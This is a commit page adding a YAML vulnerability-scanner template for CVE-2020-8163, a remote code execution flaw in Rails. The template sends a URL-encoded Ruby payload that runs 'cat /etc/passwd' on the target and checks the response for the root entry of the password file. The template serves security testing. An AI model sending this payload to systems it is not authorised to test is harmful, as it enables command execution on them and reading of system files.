Merge pull request #338 from correkthorse/cve/2020-8163

Create CVE-2020-8163.yaml
patch-1
bauthard 2020-08-23 14:19:20 +05:30 committed by GitHub
commit fc0a1ba15d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 22 additions and 0 deletions

22
cves/CVE-2020-8163.yaml Normal file
View File

@ -0,0 +1,22 @@
id: CVE-2020-8163
info:
name: Potential Remote Code Execution on Rails
author: tim_koopmans
severity: high
description: Tests for ability to pass user parameters as local variables into partials
# reference: https://correkt.horse/ruby/2020/08/22/CVE-2020-8163/
requests:
- method: GET
path:
- "{{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- "root:[x*]:0:0:"
part: body